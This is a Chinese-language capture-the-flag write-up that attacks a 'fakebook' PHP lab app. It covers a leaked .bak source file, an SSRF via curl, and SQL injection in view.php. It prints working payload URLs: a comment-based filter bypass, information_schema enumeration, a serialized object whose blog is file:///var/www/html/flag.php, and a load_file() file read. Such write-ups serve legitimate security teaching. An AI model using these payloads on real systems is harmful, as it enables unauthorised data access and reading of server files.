解题过程:
首先进行目录扫描,发现以下目录:
user.php.bak
login.php
flag.php
user.php
robots.txt
user.php.bak猜测存在源码泄露。
查看源码:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
}
}
用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。因此只要访问/var/www/html/flag.php
就可以拿到flag,想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议。由于curl不仅支持http(s),还支持file协议,猜测通过其他途径使用file协议读取文件。
SQL注入
页面提供登录和注册功能,尝试进行注册;发现注册时需要填写blog,并且对与blog限制只能输入网址(SSRF?)。
注册后,首页情况如下:
点击链接进行查看:
猜测链接处存在SQL注入,进行测试:
http://220.249.52.133:41438/view.php?no=1 and 1=1 // 正常
http://220.249.52.133:41438/view.php?no=1’ // 报错
http://220.249.52.133:41438/view.php?no=0 union select 1,2,3,4 // no hack
结论,注入漏洞,但存在敏感词过滤。
测试过滤敏感词:0x
、select
。
尝试绕过select
:
/*!SeLEct*/
- 大小写
- 双写
- sel<>ect
仅第一种方法有用,构建payload:
第二个注入点可以使用。
http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(select group_concat('~',schema_name,'~') from information_schema.schemata),3,4
http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(select group_concat('~',column_name,'~') from information_schema.columns where table_schema = database()),3,4
数据库名:fakebook;
表名:users;
列名:no、username、passwd、data;
passwd通过md5加密,data字段存放的事用户信息经过序列化的结果,结合前面 view.php 页面会加载用户的blog信息,所以这里极有可能是利用反序化数据库中的data字段,然后取出url字段并加载,即可以SSRF。
获得flag:
http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123456;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
彩蛋
经过提示,发现之间通过SQL注入方式读取文件,获得FLAG。
猜测为非预期解。
http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(load_file('/var/www/html/flag.php')),3,4
分析源码:
view.php
$db = new DB();
<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);
$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}
else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}
// var_dump($user->getBlogContents());
data一栏中的数据是通过反序列化后所得到的,可以利用这一点绕过注册时对data的限制,使用file协议读取文件。